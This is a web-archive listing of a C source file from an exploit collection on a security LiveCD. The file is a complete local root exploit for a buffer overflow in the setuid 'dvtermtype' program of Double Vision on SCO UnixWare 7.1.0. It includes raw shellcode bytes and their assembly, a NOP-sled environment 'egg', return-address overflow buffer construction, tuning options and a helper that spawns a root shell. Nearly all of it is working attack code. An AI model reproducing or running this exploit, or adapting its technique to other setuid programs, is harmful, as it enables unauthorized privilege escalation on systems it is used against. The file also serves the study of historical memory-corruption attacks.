home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / local / dvexploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  259 lines

  1. /*
  2.  * dvexploit.c
  3.  *
  4.  * written by : Stephen J. Friedl
  5.  *              Software Consultant
  6.  *              2000-06-24
  7.  *              steve@unixwiz.net
  8.  *
  9.  *      This program exploits the "Double Vision" system on SCO
  10.  *      Unixware 7.1.0 via a buffer overflow on the "dvtermtype"
  11.  *      program. Double Vision is like a "pcAnywhere for UNIX",
  12.  *      but quite a few programs in this distribution are setuid
  13.  *      root. The problem is that these programs were not written
  14.  *      with security in mind, and it's not clear that they even
  15.  *      need to be setuid root.
  16.  *
  17.  *      This particular program exploits "dvtermtype" by passing a
  18.  *      very long second parameter that overflows some internal
  19.  *      buffer. This buffer is filled with a predicted address
  20.  *      of the shellcode, and the shellcode itself is stored in
  21.  *      a very long environment variable. This approach makes
  22.  *      the shellcode much easier to find.
  23.  *
  24.  *      This shellcode was based directly on the great work of
  25.  *      Brock Tellier (btellier@usa.net), who seems to spend a lot
  26.  *      of time within with various SCO UNIX release. Thanks!
  27.  *
  28.  *      This shellcode runs /tmp/ui, which should be this simple
  29.  *      program:
  30.  *
  31.  *      $ cd /tmp
  32.  *      $ cat ui.c
  33.  *      int main() { setreuid(0,0); system("/bin/sh"); return 0; }
  34.  *      $ cc ui.c -o ui
  35.  *
  36.  *      Brock's original work compiled this automatically, but I
  37.  *      prefer to do it by hand. A better approach is to do the
  38.  *      setreuid() in the shellcode and call /bin/sh directly.
  39.  *      Maybe another day.
  40.  *
  41.  * BUILD/TEST ENVIRONMENT
  42.  * ----------------------
  43.  *
  44.  *      $ cc -v
  45.  *      UX:cc: INFO: Optimizing C Compilation System  (CCS) 3.2  03/03/99 (CA-unk_voyager5)
  46.  *
  47.  *      $ uname -a
  48.  *      UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
  49.  *
  50.  *      from /usr/lib/dv/README
  51.  *
  52.  *              DoubleVision for Character Terminals Release 3.0
  53.  *              Last Update:  December 7, 1999
  54.  *
  55.  * TUNING
  56.  * ------
  57.  *
  58.  *      The default parameters to this program work on the versions mentioned
  59.  *      above, but for variants some tuning might be required. There are three
  60.  *      parameters that guide this program's operation:
  61.  *
  62.  *      -a retaddr      set the "return" address to the given hex value,
  63.  *                      which is the address where we expect to find the
  64.  *                      exploit code in the environment. The environment
  65.  *                      is at a relatively fixed location just below
  66.  *                      0x80000000, so getting "close" is usually sufficient.
  67.  *                      Note that this address cannot have any zero bytes
  68.  *                      in it! We believe that the target code has enough
  69.  *                      padding NOP values to make it an easy target.
  70.  *
  71.  *      -r retlen       length of the overflowed "return address" buffer,
  72.  *                      which is filled in with the address provided above.
  73.  *                      Default = 2k, max = 5k.
  74.  *
  75.  *      -l n            slightly shift the alignment of the return address
  76.  *                      buffer by 1, 2 or 3 in case the buffer that's being
  77.  *                      overflowed.
  78.  */
  79.  
  80. #include <stdlib.h>
  81. #include <stdio.h>
  82.  
  83. /*-----------------------------------------------------------------------
  84.  * shellcode for SCO UnixWare
  85.  *
  86.  *      The shellcode in the binary was derived from assembler code
  87.  *      below, and we put the asm() code inside the function so we
  88.  *      can disassemble it and get the binary bytes easier. The code
  89.  *      all should match, but the real original data is the full
  90.  *      asm() code.
  91.  */
  92. #if 1
  93.  
  94. static const char scoshell[] =
  95.         "\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
  96.         "\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
  97.         "\xe2\xff\xff\xff"
  98.         "/tmp/ui"
  99.         "\xaa\xaa\xaa\xaa"
  100.         "\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  101.  
  102. #else
  103.  
  104. extern char     scoshell[];
  105.  
  106. static void foo()
  107. {
  108.  
  109. asm("#-------------------------------------------");
  110. asm("scoshell:");
  111. asm("           jmp     L1b");                  /* go to springboard    */
  112. asm("   L2b:    popl    %esi");                 /* addr of /tmp/ui      */
  113. asm("           xorl    %ebx,%ebx");            /* %ebx <-- 0           */
  114. asm("           movl    %ebx,  7(%esi)");       /* mark end of string   */
  115. asm("           movl    %ebx, 12(%esi)");       /* 0 to lcall addr      */
  116. asm("           movb    %bl,  17(%esi)");       /* 0 to lcall sub addr  */
  117. asm("           xorl    %eax,%eax");            /* %eax <-- 0           */
  118. asm("           movb    $0x3b, %al");           /* 0x3b = "execve"      */
  119. asm("           leal    7(%esi), %edi");        /* addr of NULL word    */
  120. asm("           pushl   %ebx");                 /* zero                 */
  121. asm("           pushl   %edi");                 /* addr of NULL word    */
  122. asm("           pushl   %esi");                 /* addr of "/tmp/ui"    */
  123. asm("           pushl   %esi");                 /* addr of "/tmp/ui"    */
  124. asm("           jmp     L3b");                  /* do OS call           */
  125. asm("   L1b:    call    L2b");
  126. asm("           .ascii  \"/tmp/ui\"");          /* %esi                 */
  127. asm("           .4byte  0xaaaaaaaa");           /* %esi[ 7]             */
  128. asm("   L3b:    lcall   $0xaa07,$0xaaaaaaaa");  /* OS call              */
  129. asm("           .byte   0x00");                 /* endmarker            */
  130. asm("#-------------------------------------------");
  131.  
  132. }
  133.  
  134. #endif
  135.  
  136. #define NOP     0x90
  137.  
  138. static char     *env[10],       // environment strings
  139.                 *arg[10];       // argument vector
  140.  
  141. /*------------------------------------------------------------------------
  142.  * "Addr" is the predicted address where the shellcode starts in the
  143.  * environment buffer. This was determined empirically based on a test
  144.  * program that ran similarly, and it ought to be fairly consistent.
  145.  * This can be changed with the "-a" parameter.
  146.  */
  147. static long     addr = 0x7ffffc04;
  148.  
  149. static char     *exefile = "/usr/lib/dv/dvtermtype";
  150.  
  151. int main(int argc, char *argv[])
  152. {
  153. int     c;
  154. int     i;
  155. char    egg[1024];
  156. int     egglen = sizeof egg - 1;
  157. int     retlen = 2048;
  158. char    retbuf[5000];
  159. int     align = 0;
  160. char    *p;
  161.  
  162.         setbuf(stdout, (char *)0 );
  163.  
  164.         while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
  165.         {
  166.                 switch (c)
  167.                 {
  168.                   case 'a':     addr = strtol(optarg, 0, 16); break;
  169.                   case 'l':     align = atoi(optarg); break;
  170.                   case 'r':     retlen = atoi(optarg); break;
  171.                 }
  172.         }
  173.  
  174.         if ( optind < argc )
  175.                 exefile = argv[optind++];
  176.  
  177.         printf("UnixWare 7.x exploit for suid root Double Vision\n");
  178.         printf("Stephen Friedl <steve@unixwiz.net>\n");
  179.         printf("Using addr=0x%x   retlen=%d\n", addr, retlen);
  180.  
  181.         /*---------------------------------------------------------------
  182.          * sanity check: the return buffer requested can't be too big,
  183.          * and the address can't have any zero bytes in it.
  184.          */
  185.         if ( retlen > sizeof(retbuf) )
  186.         {
  187.                 printf("ERROR: retlen can't be > %d\n", sizeof(retlen));
  188.                 exit(1);
  189.         }
  190.  
  191.         p = (char *)&addr;
  192.  
  193.         if ( !p[0] || !p[1] || !p[2] || !p[3] )
  194.         {
  195.                 printf("ERROR: ret address 0x%08lx has a zero byte!\n", addr);
  196.                 exit(1);
  197.         }
  198.  
  199.         /*---------------------------------------------------------------
  200.          * Now create the "return" buffer that is used to overflow the
  201.          * return address. This buffer really has nothing in it other than
  202.          * repeated copies of the phony return address, and one of them
  203.          * will overwrite the real %EIP on the stack. Then when the called
  204.          * function returns, it jumps to our code.
  205.          *
  206.          * It's possible that this requires alignment to get right, so
  207.          * the "-l" param above can be used to adjust this from 0..3.
  208.          * If we're aligning, be sure to fill in the early part of the
  209.          * buffer with non-zero bytes ("XXXX");
  210.          */
  211.         strcpy(&retbuf, "XXXX");
  212.  
  213.         for (i = align; i < retlen - 4; i += 4)
  214.         {
  215.                 memcpy(retbuf+i, &addr, 4);
  216.         }
  217.         retbuf[i] = 0;
  218.  
  219.         printf("strlen(retbuf) = %d\n", strlen( (char *)retbuf) );
  220.  
  221.         /*---------------------------------------------------------------
  222.          * The "egg" is our little program that is stored in the environment
  223.          * vector, and it's mostly filled with NOP values but with our little
  224.          * root code at the end. Gives a wide "target" to hit: any of the
  225.          * leading bytes hits a NOP and flows down to the real code.
  226.          *
  227.          * The overall buffer is
  228.          *
  229.          *      X=################xxxxxxxxxxxxxxxxxxxxx\0
  230.          *
  231.          * where # is a NOP instruction, and "X" is the exploit code. There
  232.          * must be a terminating NUL byte so the environment processor does
  233.          * the right thing also.
  234.          */
  235.         memset(egg, NOP, egglen);
  236.         memcpy(egg, "EGG=", 4);
  237.  
  238.         // put our egg in the tail end of this buffer
  239.         memcpy(egg + (egglen - strlen(scoshell)- 1), scoshell, strlen(scoshell));
  240.  
  241.         egg[egglen] = '\0';
  242.  
  243.         /* build up regular command line */
  244.  
  245.         arg[0] = exefile;
  246.         arg[1] = "dvexploit";           /* easy to find this later */
  247.         arg[2] = (char *)retbuf;
  248.         arg[3] = 0;
  249.  
  250.         /*---------------------------------------------------------------
  251.          * build up the environment that contains our shellcode. This
  252.          * keeps it off the stack.
  253.          */
  254.         env[0] = egg;
  255.         env[1] = 0;
  256.  
  257.         execve(arg[0], arg, env);
  258. }
  259.